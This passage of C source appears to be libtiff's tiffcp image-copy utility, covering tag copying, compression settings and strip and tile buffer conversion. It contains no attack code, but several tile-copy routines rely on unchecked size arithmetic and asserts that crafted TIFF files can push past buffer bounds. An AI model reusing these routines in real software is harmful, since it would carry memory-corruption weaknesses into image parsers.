-1) { double* doubleav; CopyField(tag, doubleav); } break; default: TIFFError(TIFFFileName(in), "Data type %d is not supported, tag %d skipped.", tag, type); } } static struct cpTag { uint16 tag; uint16 count; TIFFDataType type; } tags[] = { { TIFFTAG_SUBFILETYPE, 1, TIFF_LONG }, { TIFFTAG_THRESHHOLDING, 1, TIFF_SHORT }, { TIFFTAG_DOCUMENTNAME, 1, TIFF_ASCII }, { TIFFTAG_IMAGEDESCRIPTION, 1, TIFF_ASCII }, { TIFFTAG_MAKE, 1, TIFF_ASCII }, { TIFFTAG_MODEL, 1, TIFF_ASCII }, { TIFFTAG_MINSAMPLEVALUE, 1, TIFF_SHORT }, { TIFFTAG_MAXSAMPLEVALUE, 1, TIFF_SHORT }, { TIFFTAG_XRESOLUTION, 1, TIFF_RATIONAL }, { TIFFTAG_YRESOLUTION, 1, TIFF_RATIONAL }, { TIFFTAG_PAGENAME, 1, TIFF_ASCII }, { TIFFTAG_XPOSITION, 1, TIFF_RATIONAL }, { TIFFTAG_YPOSITION, 1, TIFF_RATIONAL }, { TIFFTAG_RESOLUTIONUNIT, 1, TIFF_SHORT }, { TIFFTAG_SOFTWARE, 1, TIFF_ASCII }, { TIFFTAG_DATETIME, 1, TIFF_ASCII }, { TIFFTAG_ARTIST, 1, TIFF_ASCII }, { TIFFTAG_HOSTCOMPUTER, 1, TIFF_ASCII }, { TIFFTAG_WHITEPOINT, (uint16) -1, TIFF_RATIONAL }, { TIFFTAG_PRIMARYCHROMATICITIES,(uint16) -1,TIFF_RATIONAL }, { TIFFTAG_HALFTONEHINTS, 2, TIFF_SHORT }, { TIFFTAG_INKSET, 1, TIFF_SHORT }, { TIFFTAG_DOTRANGE, 2, TIFF_SHORT }, { TIFFTAG_TARGETPRINTER, 1, TIFF_ASCII }, { TIFFTAG_SAMPLEFORMAT, 1, TIFF_SHORT }, { TIFFTAG_YCBCRCOEFFICIENTS, (uint16) -1,TIFF_RATIONAL }, { TIFFTAG_YCBCRSUBSAMPLING, 2, TIFF_SHORT }, { TIFFTAG_YCBCRPOSITIONING, 1, TIFF_SHORT }, { TIFFTAG_REFERENCEBLACKWHITE, (uint16) -1,TIFF_RATIONAL }, { TIFFTAG_EXTRASAMPLES, (uint16) -1, TIFF_SHORT }, { TIFFTAG_SMINSAMPLEVALUE, 1, TIFF_DOUBLE }, { TIFFTAG_SMAXSAMPLEVALUE, 1, TIFF_DOUBLE }, { TIFFTAG_STONITS, 1, TIFF_DOUBLE }, }; #define NTAGS (sizeof (tags) / sizeof (tags[0])) #define CopyTag(tag, count, type) cpTag(in, out, tag, count, type) typedef int (*copyFunc) (TIFF* in, TIFF* out, uint32 l, uint32 w, uint16 samplesperpixel); static copyFunc pickCopyFunc(TIFF*, TIFF*, uint16, uint16); /* PODD */ static int tiffcp(TIFF* in, TIFF* out) { uint16 bitspersample, samplesperpixel = 1; uint16 input_compression, input_photometric = PHOTOMETRIC_MINISBLACK; copyFunc cf; uint32 width, length; struct cpTag* p; CopyField(TIFFTAG_IMAGEWIDTH, width); CopyField(TIFFTAG_IMAGELENGTH, length); CopyField(TIFFTAG_BITSPERSAMPLE, bitspersample); CopyField(TIFFTAG_SAMPLESPERPIXEL, samplesperpixel); if (compression != (uint16)-1) TIFFSetField(out, TIFFTAG_COMPRESSION, compression); else CopyField(TIFFTAG_COMPRESSION, compression); TIFFGetFieldDefaulted(in, TIFFTAG_COMPRESSION, &input_compression); TIFFGetFieldDefaulted(in, TIFFTAG_PHOTOMETRIC, &input_photometric); if (input_compression == COMPRESSION_JPEG) { /* Force conversion to RGB */ TIFFSetField(in, TIFFTAG_JPEGCOLORMODE, JPEGCOLORMODE_RGB); } else if (input_photometric == PHOTOMETRIC_YCBCR) { /* Otherwise, can't handle subsampled input */ uint16 subsamplinghor,subsamplingver; TIFFGetFieldDefaulted(in, TIFFTAG_YCBCRSUBSAMPLING, &subsamplinghor, &subsamplingver); if (subsamplinghor!=1 || subsamplingver!=1) { fprintf(stderr, "tiffcp: %s: Can't copy/convert subsampled image.\n", TIFFFileName(in)); return FALSE; } } if (compression == COMPRESSION_JPEG) { if (input_photometric == PHOTOMETRIC_RGB && jpegcolormode == JPEGCOLORMODE_RGB) TIFFSetField(out, TIFFTAG_PHOTOMETRIC, PHOTOMETRIC_YCBCR); else TIFFSetField(out, TIFFTAG_PHOTOMETRIC, input_photometric); } else if (compression == COMPRESSION_SGILOG || compression == COMPRESSION_SGILOG24) TIFFSetField(out, TIFFTAG_PHOTOMETRIC, samplesperpixel == 1 ? PHOTOMETRIC_LOGL : PHOTOMETRIC_LOGLUV); else if (input_compression == COMPRESSION_JPEG && samplesperpixel == 3 ) { /* RGB conversion was forced above hence the output will be of the same type */ TIFFSetField(out, TIFFTAG_PHOTOMETRIC, PHOTOMETRIC_RGB); } else CopyTag(TIFFTAG_PHOTOMETRIC, 1, TIFF_SHORT); if (fillorder != 0) TIFFSetField(out, TIFFTAG_FILLORDER, fillorder); else CopyTag(TIFFTAG_FILLORDER, 1, TIFF_SHORT); /* * Will copy `Orientation' tag from input image */ TIFFGetFieldDefaulted(in, TIFFTAG_ORIENTATION, &orientation); switch (orientation) { case ORIENTATION_BOTRIGHT: case ORIENTATION_RIGHTBOT: /* XXX */ TIFFWarning(TIFFFileName(in), "using bottom-left orientation"); orientation = ORIENTATION_BOTLEFT; /* fall thru... */ case ORIENTATION_LEFTBOT: /* XXX */ case ORIENTATION_BOTLEFT: break; case ORIENTATION_TOPRIGHT: case ORIENTATION_RIGHTTOP: /* XXX */ default: TIFFWarning(TIFFFileName(in), "using top-left orientation"); orientation = ORIENTATION_TOPLEFT; /* fall thru... */ case ORIENTATION_LEFTTOP: /* XXX */ case ORIENTATION_TOPLEFT: break; } TIFFSetField(out, TIFFTAG_ORIENTATION, orientation); /* * Choose tiles/strip for the output image according to * the command line arguments (-tiles, -strips) and the * structure of the input image. */ if (outtiled == -1) outtiled = TIFFIsTiled(in); if (outtiled) { /* * Setup output file's tile width&height. If either * is not specified, use either the value from the * input image or, if nothing is defined, use the * library default. */ if (tilewidth == (uint32) -1) TIFFGetField(in, TIFFTAG_TILEWIDTH, &tilewidth); if (tilelength == (uint32) -1) TIFFGetField(in, TIFFTAG_TILELENGTH, &tilelength); TIFFDefaultTileSize(out, &tilewidth, &tilelength); TIFFSetField(out, TIFFTAG_TILEWIDTH, tilewidth); TIFFSetField(out, TIFFTAG_TILELENGTH, tilelength); } else { /* * RowsPerStrip is left unspecified: use either the * value from the input image or, if nothing is defined, * use the library default. */ if (rowsperstrip == (uint32) 0) { if (!TIFFGetField(in, TIFFTAG_ROWSPERSTRIP, &rowsperstrip)) { rowsperstrip = TIFFDefaultStripSize(out, rowsperstrip); } if (rowsperstrip > length && rowsperstrip != (uint32)-1) rowsperstrip = length; } else if (rowsperstrip == (uint32) -1) rowsperstrip = length; TIFFSetField(out, TIFFTAG_ROWSPERSTRIP, rowsperstrip); } if (config != (uint16) -1) TIFFSetField(out, TIFFTAG_PLANARCONFIG, config); else CopyField(TIFFTAG_PLANARCONFIG, config); if (samplesperpixel <= 4) CopyTag(TIFFTAG_TRANSFERFUNCTION, 4, TIFF_SHORT); CopyTag(TIFFTAG_COLORMAP, 4, TIFF_SHORT); /* SMinSampleValue & SMaxSampleValue */ switch (compression) { case COMPRESSION_JPEG: TIFFSetField(out, TIFFTAG_JPEGQUALITY, quality); TIFFSetField(out, TIFFTAG_JPEGCOLORMODE, jpegcolormode); break; case COMPRESSION_JBIG: CopyTag(TIFFTAG_FAXRECVPARAMS, 1, TIFF_LONG); CopyTag(TIFFTAG_FAXRECVTIME, 1, TIFF_LONG); CopyTag(TIFFTAG_FAXSUBADDRESS, 1, TIFF_ASCII); CopyTag(TIFFTAG_FAXDCS, 1, TIFF_ASCII); break; case COMPRESSION_LZW: case COMPRESSION_ADOBE_DEFLATE: case COMPRESSION_DEFLATE: case COMPRESSION_LZMA: if (predictor != (uint16)-1) TIFFSetField(out, TIFFTAG_PREDICTOR, predictor); else CopyField(TIFFTAG_PREDICTOR, predictor); if (preset != -1) { if (compression == COMPRESSION_ADOBE_DEFLATE || compression == COMPRESSION_DEFLATE) TIFFSetField(out, TIFFTAG_ZIPQUALITY, preset); else if (compression == COMPRESSION_LZMA) TIFFSetField(out, TIFFTAG_LZMAPRESET, preset); } break; case COMPRESSION_CCITTFAX3: case COMPRESSION_CCITTFAX4: if (compression == COMPRESSION_CCITTFAX3) { if (g3opts != (uint32) -1) TIFFSetField(out, TIFFTAG_GROUP3OPTIONS, g3opts); else CopyField(TIFFTAG_GROUP3OPTIONS, g3opts); } else CopyTag(TIFFTAG_GROUP4OPTIONS, 1, TIFF_LONG); CopyTag(TIFFTAG_BADFAXLINES, 1, TIFF_LONG); CopyTag(TIFFTAG_CLEANFAXDATA, 1, TIFF_LONG); CopyTag(TIFFTAG_CONSECUTIVEBADFAXLINES, 1, TIFF_LONG); CopyTag(TIFFTAG_FAXRECVPARAMS, 1, TIFF_LONG); CopyTag(TIFFTAG_FAXRECVTIME, 1, TIFF_LONG); CopyTag(TIFFTAG_FAXSUBADDRESS, 1, TIFF_ASCII); break; } { uint32 len32; void** data; if (TIFFGetField(in, TIFFTAG_ICCPROFILE, &len32, &data)) TIFFSetField(out, TIFFTAG_ICCPROFILE, len32, data); } { uint16 ninks; const char* inknames; if (TIFFGetField(in, TIFFTAG_NUMBEROFINKS, &ninks)) { TIFFSetField(out, TIFFTAG_NUMBEROFINKS, ninks); if (TIFFGetField(in, TIFFTAG_INKNAMES, &inknames)) { int inknameslen = strlen(inknames) + 1; const char* cp = inknames; while (ninks > 1) { cp = strchr(cp, '\0'); cp++; inknameslen += (strlen(cp) + 1); ninks--; } TIFFSetField(out, TIFFTAG_INKNAMES, inknameslen, inknames); } } } { unsigned short pg0, pg1; if (pageInSeq == 1) { if (pageNum < 0) /* only one input file */ { if (TIFFGetField(in, TIFFTAG_PAGENUMBER, &pg0, &pg1)) TIFFSetField(out, TIFFTAG_PAGENUMBER, pg0, pg1); } else TIFFSetField(out, TIFFTAG_PAGENUMBER, pageNum++, 0); } else { if (TIFFGetField(in, TIFFTAG_PAGENUMBER, &pg0, &pg1)) { if (pageNum < 0) /* only one input file */ TIFFSetField(out, TIFFTAG_PAGENUMBER, pg0, pg1); else TIFFSetField(out, TIFFTAG_PAGENUMBER, pageNum++, 0); } } } for (p = tags; p < &tags[NTAGS]; p++) CopyTag(p->tag, p->count, p->type); cf = pickCopyFunc(in, out, bitspersample, samplesperpixel); return (cf ? (*cf)(in, out, length, width, samplesperpixel) : FALSE); } /* * Copy Functions. */ #define DECLAREcpFunc(x) \ static int x(TIFF* in, TIFF* out, \ uint32 imagelength, uint32 imagewidth, tsample_t spp) #define DECLAREreadFunc(x) \ static int x(TIFF* in, \ uint8* buf, uint32 imagelength, uint32 imagewidth, tsample_t spp) typedef int (*readFunc)(TIFF*, uint8*, uint32, uint32, tsample_t); #define DECLAREwriteFunc(x) \ static int x(TIFF* out, \ uint8* buf, uint32 imagelength, uint32 imagewidth, tsample_t spp) typedef int (*writeFunc)(TIFF*, uint8*, uint32, uint32, tsample_t); /* * Contig -> contig by scanline for rows/strip change. */ DECLAREcpFunc(cpContig2ContigByRow) { tsize_t scanlinesize = TIFFScanlineSize(in); tdata_t buf; uint32 row; buf = _TIFFmalloc(scanlinesize); if (!buf) return 0; _TIFFmemset(buf, 0, scanlinesize); (void) imagewidth; (void) spp; for (row = 0; row < imagelength; row++) { if (TIFFReadScanline(in, buf, row, 0) < 0 && !ignore) { TIFFError(TIFFFileName(in), "Error, can't read scanline %lu", (unsigned long) row); goto bad; } if (TIFFWriteScanline(out, buf, row, 0) < 0) { TIFFError(TIFFFileName(out), "Error, can't write scanline %lu", (unsigned long) row); goto bad; } } _TIFFfree(buf); return 1; bad: _TIFFfree(buf); return 0; } typedef void biasFn (void *image, void *bias, uint32 pixels); #define subtract(bits) \ static void subtract##bits (void *i, void *b, uint32 pixels)\ {\ uint##bits *image = i;\ uint##bits *bias = b;\ while (pixels--) {\ *image = *image > *bias ? *image-*bias : 0;\ image++, bias++; \ } \ } subtract(8) subtract(16) subtract(32) static biasFn *lineSubtractFn (unsigned bits) { switch (bits) { case 8: return subtract8; case 16: return subtract16; case 32: return subtract32; } return NULL; } /* * Contig -> contig by scanline while subtracting a bias image. */ DECLAREcpFunc(cpBiasedContig2Contig) { if (spp == 1) { tsize_t biasSize = TIFFScanlineSize(bias); tsize_t bufSize = TIFFScanlineSize(in); tdata_t buf, biasBuf; uint32 biasWidth = 0, biasLength = 0; TIFFGetField(bias, TIFFTAG_IMAGEWIDTH, &biasWidth); TIFFGetField(bias, TIFFTAG_IMAGELENGTH, &biasLength); if (biasSize == bufSize && imagelength == biasLength && imagewidth == biasWidth) { uint16 sampleBits = 0; biasFn *subtractLine; TIFFGetField(in, TIFFTAG_BITSPERSAMPLE, &sampleBits); subtractLine = lineSubtractFn (sampleBits); if (subtractLine) { uint32 row; buf = _TIFFmalloc(bufSize); biasBuf = _TIFFmalloc(bufSize); for (row = 0; row < imagelength; row++) { if (TIFFReadScanline(in, buf, row, 0) < 0 && !ignore) { TIFFError(TIFFFileName(in), "Error, can't read scanline %lu", (unsigned long) row); goto bad; } if (TIFFReadScanline(bias, biasBuf, row, 0) < 0 && !ignore) { TIFFError(TIFFFileName(in), "Error, can't read biased scanline %lu", (unsigned long) row); goto bad; } subtractLine (buf, biasBuf, imagewidth); if (TIFFWriteScanline(out, buf, row, 0) < 0) { TIFFError(TIFFFileName(out), "Error, can't write scanline %lu", (unsigned long) row); goto bad; } } _TIFFfree(buf); _TIFFfree(biasBuf); TIFFSetDirectory(bias, TIFFCurrentDirectory(bias)); /* rewind */ return 1; bad: _TIFFfree(buf); _TIFFfree(biasBuf); return 0; } else { TIFFError(TIFFFileName(in), "No support for biasing %d bit pixels\n", sampleBits); return 0; } } TIFFError(TIFFFileName(in), "Bias image %s,%d\nis not the same size as %s,%d\n", TIFFFileName(bias), TIFFCurrentDirectory(bias), TIFFFileName(in), TIFFCurrentDirectory(in)); return 0; } else { TIFFError(TIFFFileName(in), "Can't bias %s,%d as it has >1 Sample/Pixel\n", TIFFFileName(in), TIFFCurrentDirectory(in)); return 0; } } /* * Strip -> strip for change in encoding. */ DECLAREcpFunc(cpDecodedStrips) { tsize_t stripsize = TIFFStripSize(in); tdata_t buf = _TIFFmalloc(stripsize); (void) imagewidth; (void) spp; if (buf) { tstrip_t s, ns = TIFFNumberOfStrips(in); uint32 row = 0; _TIFFmemset(buf, 0, stripsize); for (s = 0; s < ns; s++) { tsize_t cc = (row + rowsperstrip > imagelength) ? TIFFVStripSize(in, imagelength - row) : stripsize; if (TIFFReadEncodedStrip(in, s, buf, cc) < 0 && !ignore) { TIFFError(TIFFFileName(in), "Error, can't read strip %lu", (unsigned long) s); goto bad; } if (TIFFWriteEncodedStrip(out, s, buf, cc) < 0) { TIFFError(TIFFFileName(out), "Error, can't write strip %lu", (unsigned long) s); goto bad; } row += rowsperstrip; } _TIFFfree(buf); return 1; } else { TIFFError(TIFFFileName(in), "Error, can't allocate memory buffer of size %lu " "to read strips", (unsigned long) stripsize); return 0; } bad: _TIFFfree(buf); return 0; } /* * Separate -> separate by row for rows/strip change. */ DECLAREcpFunc(cpSeparate2SeparateByRow) { tsize_t scanlinesize = TIFFScanlineSize(in); tdata_t buf; uint32 row; tsample_t s; (void) imagewidth; buf = _TIFFmalloc(scanlinesize); if (!buf) return 0; _TIFFmemset(buf, 0, scanlinesize); for (s = 0; s < spp; s++) { for (row = 0; row < imagelength; row++) { if (TIFFReadScanline(in, buf, row, s) < 0 && !ignore) { TIFFError(TIFFFileName(in), "Error, can't read scanline %lu", (unsigned long) row); goto bad; } if (TIFFWriteScanline(out, buf, row, s) < 0) { TIFFError(TIFFFileName(out), "Error, can't write scanline %lu", (unsigned long) row); goto bad; } } } _TIFFfree(buf); return 1; bad: _TIFFfree(buf); return 0; } /* * Contig -> separate by row. */ DECLAREcpFunc(cpContig2SeparateByRow) { tsize_t scanlinesizein = TIFFScanlineSize(in); tsize_t scanlinesizeout = TIFFScanlineSize(out); tdata_t inbuf; tdata_t outbuf; register uint8 *inp, *outp; register uint32 n; uint32 row; tsample_t s; inbuf = _TIFFmalloc(scanlinesizein); outbuf = _TIFFmalloc(scanlinesizeout); if (!inbuf || !outbuf) goto bad; _TIFFmemset(inbuf, 0, scanlinesizein); _TIFFmemset(outbuf, 0, scanlinesizeout); /* unpack channels */ for (s = 0; s < spp; s++) { for (row = 0; row < imagelength; row++) { if (TIFFReadScanline(in, inbuf, row, 0) < 0 && !ignore) { TIFFError(TIFFFileName(in), "Error, can't read scanline %lu", (unsigned long) row); goto bad; } inp = ((uint8*)inbuf) + s; outp = (uint8*)outbuf; for (n = imagewidth; n-- > 0;) { *outp++ = *inp; inp += spp; } if (TIFFWriteScanline(out, outbuf, row, s) < 0) { TIFFError(TIFFFileName(out), "Error, can't write scanline %lu", (unsigned long) row); goto bad; } } } if (inbuf) _TIFFfree(inbuf); if (outbuf) _TIFFfree(outbuf); return 1; bad: if (inbuf) _TIFFfree(inbuf); if (outbuf) _TIFFfree(outbuf); return 0; } /* * Separate -> contig by row. */ DECLAREcpFunc(cpSeparate2ContigByRow) { tsize_t scanlinesizein = TIFFScanlineSize(in); tsize_t scanlinesizeout = TIFFScanlineSize(out); tdata_t inbuf; tdata_t outbuf; register uint8 *inp, *outp; register uint32 n; uint32 row; tsample_t s; inbuf = _TIFFmalloc(scanlinesizein); outbuf = _TIFFmalloc(scanlinesizeout); if (!inbuf || !outbuf) goto bad; _TIFFmemset(inbuf, 0, scanlinesizein); _TIFFmemset(outbuf, 0, scanlinesizeout); for (row = 0; row < imagelength; row++) { /* merge channels */ for (s = 0; s < spp; s++) { if (TIFFReadScanline(in, inbuf, row, s) < 0 && !ignore) { TIFFError(TIFFFileName(in), "Error, can't read scanline %lu", (unsigned long) row); goto bad; } inp = (uint8*)inbuf; outp = ((uint8*)outbuf) + s; for (n = imagewidth; n-- > 0;) { *outp = *inp++; outp += spp; } } if (TIFFWriteScanline(out, outbuf, row, 0) < 0) { TIFFError(TIFFFileName(out), "Error, can't write scanline %lu", (unsigned long) row); goto bad; } } if (inbuf) _TIFFfree(inbuf); if (outbuf) _TIFFfree(outbuf); return 1; bad: if (inbuf) _TIFFfree(inbuf); if (outbuf) _TIFFfree(outbuf); return 0; } static void cpStripToTile(uint8* out, uint8* in, uint32 rows, uint32 cols, int outskew, int inskew) { while (rows-- > 0) { uint32 j = cols; while (j-- > 0) *out++ = *in++; out += outskew; in += inskew; } } static void cpContigBufToSeparateBuf(uint8* out, uint8* in, uint32 rows, uint32 cols, int outskew, int inskew, tsample_t spp, int bytes_per_sample ) { while (rows-- > 0) { uint32 j = cols; while (j-- > 0) { int n = bytes_per_sample; while( n-- ) { *out++ = *in++; } in += (spp-1) * bytes_per_sample; } out += outskew; in += inskew; } } static void cpSeparateBufToContigBuf(uint8* out, uint8* in, uint32 rows, uint32 cols, int outskew, int inskew, tsample_t spp, int bytes_per_sample) { while (rows-- > 0) { uint32 j = cols; while (j-- > 0) { int n = bytes_per_sample; while( n-- ) { *out++ = *in++; } out += (spp-1)*bytes_per_sample; } out += outskew; in += inskew; } } static int cpImage(TIFF* in, TIFF* out, readFunc fin, writeFunc fout, uint32 imagelength, uint32 imagewidth, tsample_t spp) { int status = 0; tdata_t buf = NULL; tsize_t scanlinesize = TIFFRasterScanlineSize(in); tsize_t bytes = scanlinesize * (tsize_t)imagelength; /* * XXX: Check for integer overflow. */ if (scanlinesize && imagelength && bytes / (tsize_t)imagelength == scanlinesize) { buf = _TIFFmalloc(bytes); if (buf) { if ((*fin)(in, (uint8*)buf, imagelength, imagewidth, spp)) { status = (*fout)(out, (uint8*)buf, imagelength, imagewidth, spp); } _TIFFfree(buf); } else { TIFFError(TIFFFileName(in), "Error, can't allocate space for image buffer"); } } else { TIFFError(TIFFFileName(in), "Error, no space for image buffer"); } return status; } DECLAREreadFunc(readContigStripsIntoBuffer) { tsize_t scanlinesize = TIFFScanlineSize(in); uint8* bufp = buf; uint32 row; (void) imagewidth; (void) spp; for (row = 0; row < imagelength; row++) { if (TIFFReadScanline(in, (tdata_t) bufp, row, 0) < 0 && !ignore) { TIFFError(TIFFFileName(in), "Error, can't read scanline %lu", (unsigned long) row); return 0; } bufp += scanlinesize; } return 1; } DECLAREreadFunc(readSeparateStripsIntoBuffer) { int status = 1; tsize_t scanlinesize = TIFFScanlineSize(in); tdata_t scanline; if (!scanlinesize) return 0; scanline = _TIFFmalloc(scanlinesize); if (!scanline) return 0; _TIFFmemset(scanline, 0, scanlinesize); (void) imagewidth; if (scanline) { uint8* bufp = (uint8*) buf; uint32 row; tsample_t s; for (row = 0; row < imagelength; row++) { /* merge channels */ for (s = 0; s < spp; s++) { uint8* bp = bufp + s; tsize_t n = scanlinesize; uint8* sbuf = scanline; if (TIFFReadScanline(in, scanline, row, s) < 0 && !ignore) { TIFFError(TIFFFileName(in), "Error, can't read scanline %lu", (unsigned long) row); status = 0; goto done; } while (n-- > 0) *bp = *sbuf++, bp += spp; } bufp += scanlinesize * spp; } } done: _TIFFfree(scanline); return status; } DECLAREreadFunc(readContigTilesIntoBuffer) { int status = 1; tsize_t tilesize = TIFFTileSize(in); tdata_t tilebuf; uint32 imagew = TIFFScanlineSize(in); uint32 tilew = TIFFTileRowSize(in); int iskew = imagew - tilew; uint8* bufp = (uint8*) buf; uint32 tw, tl; uint32 row; (void) spp; tilebuf = _TIFFmalloc(tilesize); if (tilebuf == 0) return 0; _TIFFmemset(tilebuf, 0, tilesize); (void) TIFFGetField(in, TIFFTAG_TILEWIDTH, &tw); (void) TIFFGetField(in, TIFFTAG_TILELENGTH, &tl); for (row = 0; row < imagelength; row += tl) { uint32 nrow = (row+tl > imagelength) ? imagelength-row : tl; uint32 colb = 0; uint32 col; for (col = 0; col < imagewidth && colb < imagew; col += tw) { if (TIFFReadTile(in, tilebuf, col, row, 0, 0) < 0 && !ignore) { TIFFError(TIFFFileName(in), "Error, can't read tile at %lu %lu", (unsigned long) col, (unsigned long) row); status = 0; goto done; } if (colb + tilew > imagew) { uint32 width = imagew - colb; uint32 oskew = tilew - width; cpStripToTile(bufp + colb, tilebuf, nrow, width, oskew + iskew, oskew ); } else cpStripToTile(bufp + colb, tilebuf, nrow, tilew, iskew, 0); colb += tilew; } bufp += imagew * nrow; } done: _TIFFfree(tilebuf); return status; } DECLAREreadFunc(readSeparateTilesIntoBuffer) { int status = 1; uint32 imagew = TIFFRasterScanlineSize(in); uint32 tilew = TIFFTileRowSize(in); int iskew = imagew - tilew*spp; tsize_t tilesize = TIFFTileSize(in); tdata_t tilebuf; uint8* bufp = (uint8*) buf; uint32 tw, tl; uint32 row; uint16 bps, bytes_per_sample; tilebuf = _TIFFmalloc(tilesize); if (tilebuf == 0) return 0; _TIFFmemset(tilebuf, 0, tilesize); (void) TIFFGetField(in, TIFFTAG_TILEWIDTH, &tw); (void) TIFFGetField(in, TIFFTAG_TILELENGTH, &tl); (void) TIFFGetField(in, TIFFTAG_BITSPERSAMPLE, &bps); assert( bps % 8 == 0 ); bytes_per_sample = bps/8; for (row = 0; row < imagelength; row += tl) { uint32 nrow = (row+tl > imagelength) ? imagelength-row : tl; uint32 colb = 0; uint32 col; for (col = 0; col < imagewidth; col += tw) { tsample_t s; for (s = 0; s < spp; s++) { if (TIFFReadTile(in, tilebuf, col, row, 0, s) < 0 && !ignore) { TIFFError(TIFFFileName(in), "Error, can't read tile at %lu %lu, " "sample %lu", (unsigned long) col, (unsigned long) row, (unsigned long) s); status = 0; goto done; } /* * Tile is clipped horizontally. Calculate * visible portion and skewing factors. */ if (colb + tilew*spp > imagew) { uint32 width = imagew - colb; int oskew = tilew*spp - width; cpSeparateBufToContigBuf( bufp+colb+s*bytes_per_sample, tilebuf, nrow, width/(spp*bytes_per_sample), oskew + iskew, oskew/spp, spp, bytes_per_sample); } else cpSeparateBufToContigBuf( bufp+colb+s*bytes_per_sample, tilebuf, nrow, tw, iskew, 0, spp, bytes_per_sample); } colb += tilew*spp; } bufp += imagew * nrow; } done: _TIFFfree(tilebuf); return status; } DECLAREwriteFunc(writeBufferToContigStrips) { uint32 row, rowsperstrip; tstrip_t strip = 0; (void) imagewidth; (void) spp; (void) TIFFGetFieldDefaulted(out, TIFFTAG_ROWSPERSTRIP, &rowsperstrip); for (row = 0; row < imagelength; row += rowsperstrip) { uint32 nrows = (row+rowsperstrip > imagelength) ? imagelength-row : rowsperstrip; tsize_t stripsize = TIFFVStripSize(out, nrows); if (TIFFWriteEncodedStrip(out, strip++, buf, stripsize) < 0) { TIFFError(TIFFFileName(out), "Error, can't write strip %u", strip - 1); return 0; } buf += stripsize; } return 1; } DECLAREwriteFunc(writeBufferToSeparateStrips) { uint32 rowsize = imagewidth * spp; uint32 rowsperstrip; tsize_t stripsize = TIFFStripSize(out); tdata_t obuf; tstrip_t strip = 0; tsample_t s; obuf = _TIFFmalloc(stripsize); if (obuf == NULL) return (0); _TIFFmemset(obuf, 0, stripsize); (void) TIFFGetFieldDefaulted(out, TIFFTAG_ROWSPERSTRIP, &rowsperstrip); for (s = 0; s < spp; s++) { uint32 row; for (row = 0; row < imagelength; row += rowsperstrip) { uint32 nrows = (row+rowsperstrip > imagelength) ? imagelength-row : rowsperstrip; tsize_t stripsize = TIFFVStripSize(out, nrows); cpContigBufToSeparateBuf( obuf, (uint8*) buf + row*rowsize + s, nrows, imagewidth, 0, 0, spp, 1); if (TIFFWriteEncodedStrip(out, strip++, obuf, stripsize) < 0) { TIFFError(TIFFFileName(out), "Error, can't write strip %u", strip - 1); _TIFFfree(obuf); return 0; } } } _TIFFfree(obuf); return 1; } DECLAREwriteFunc(writeBufferToContigTiles) { uint32 imagew = TIFFScanlineSize(out); uint32 tilew = TIFFTileRowSize(out); int iskew = imagew - tilew; tsize_t tilesize = TIFFTileSize(out); tdata_t obuf; uint8* bufp = (uint8*) buf; uint32 tl, tw; uint32 row; (void) spp; obuf = _TIFFmalloc(TIFFTileSize(out)); if (obuf == NULL) return 0; _TIFFmemset(obuf, 0, tilesize); (void) TIFFGetField(out, TIFFTAG_TILELENGTH, &tl); (void) TIFFGetField(out, TIFFTAG_TILEWIDTH, &tw); for (row = 0; row < imagelength; row += tilelength) { uint32 nrow = (row+tl > imagelength) ? imagelength-row : tl; uint32 colb = 0; uint32 col; for (col = 0; col < imagewidth && colb < imagew; col += tw) { /* * Tile is clipped horizontally. Calculate * visible portion and skewing factors. */ if (colb + tilew > imagew) { uint32 width = imagew - colb; int oskew = tilew - width; cpStripToTile(obuf, bufp + colb, nrow, width, oskew, oskew + iskew); } else cpStripToTile(obuf, bufp + colb, nrow, tilew, 0, iskew); if (TIFFWriteTile(out, obuf, col, row, 0, 0) < 0) { TIFFError(TIFFFileName(out), "Error, can't write tile at %lu %lu", (unsigned long) col, (unsigned long) row); _TIFFfree(obuf); return 0; } colb += tilew; } bufp += nrow * imagew; } _TIFFfree(obuf); return 1; } DECLAREwriteFunc(writeBufferToSeparateTiles) { uint32 imagew = TIFFScanlineSize(out); tsize_t tilew = TIFFTileRowSize(out); uint32 iimagew = TIFFRasterScanlineSize(out); int iskew = iimagew - tilew*spp; tsize_t tilesize = TIFFTileSize(out); tdata_t obuf; uint8* bufp = (uint8*) buf; uint32 tl, tw; uint32 row; uint16 bps, bytes_per_sample; obuf = _TIFFmalloc(TIFFTileSize(out)); if (obuf == NULL) return 0; _TIFFmemset(obuf, 0, tilesize); (void) TIFFGetField(out, TIFFTAG_TILELENGTH, &tl); (void) TIFFGetField(out, TIFFTAG_TILEWIDTH, &tw); (void) TIFFGetField(out, TIFFTAG_BITSPERSAMPLE, &bps); assert( bps % 8 == 0 ); bytes_per_sample = bps/8; for (row = 0; row < imagelength; row += tl) { uint32 nrow = (row+tl > imagelength) ? imagelength-row : tl; uint32 colb = 0; uint32 col; for (col = 0; col < imagewidth; col += tw) { tsample_t s; for (s = 0; s < spp; s++) { /* * Tile is clipped horizontally. Calculate * visible portion and skewing factors. */ if (colb + tilew > imagew) { uint32 width = (imagew - colb); int oskew = tilew - width; cpContigBufToSeparateBuf(obuf, bufp + (colb*spp) + s, nrow, width/bytes_per_sample, oskew, (oskew*spp)+iskew, spp, bytes_per_sample); } else cpContigBufToSeparateBuf(obuf, bufp + (colb*spp) + s, nrow, tilewidth, 0, iskew, spp, bytes_per_sample); if (TIFFWriteTile(out, obuf, col, row, 0, s) < 0) { TIFFError(TIFFFileName(out), "Error, can't write tile at %lu %lu " "sample %lu", (unsigned long) col, (unsigned long) row, (unsigned long) s); _TIFFfree(obuf); return 0; } } colb += tilew; } bufp += nrow * iimagew; } _TIFFfree(obuf); return 1; } /* * Contig strips -> contig tiles. */ DECLAREcpFunc(cpContigStrips2ContigTiles) { return cpImage(in, out, readContigStripsIntoBuffer, writeBufferToContigTiles, imagelength, imagewidth, spp); } /* * Contig strips -> separate tiles. */ DECLAREcpFunc(cpContigStrips2SeparateTiles) { return cpImage(in, out, readContigStripsIntoBuffer, writeBufferToSeparateTiles, imagelength, imagewidth, spp); } /* * Separate strips -> contig tiles. */ DECLAREcpFunc(cpSeparateStrips2ContigTiles) { return cpImage(in, out, readSeparateStripsIntoBuffer, writeBufferToContigTiles, imagelength, imagewidth, spp); } /* * Separate strips -> separate tiles. */ DECLAREcpFunc(cpSeparateStrips2SeparateTiles) { return cpImage(in, out, readSeparateStripsIntoBuffer, writeBufferToSeparateTiles, imagelength, imagewidth, spp); } /* * Contig strips -> contig tiles. */ DECLAREcpFunc(cpContigTiles2ContigTiles) { return cpImage(in, out, readContigTilesIntoBuffer, 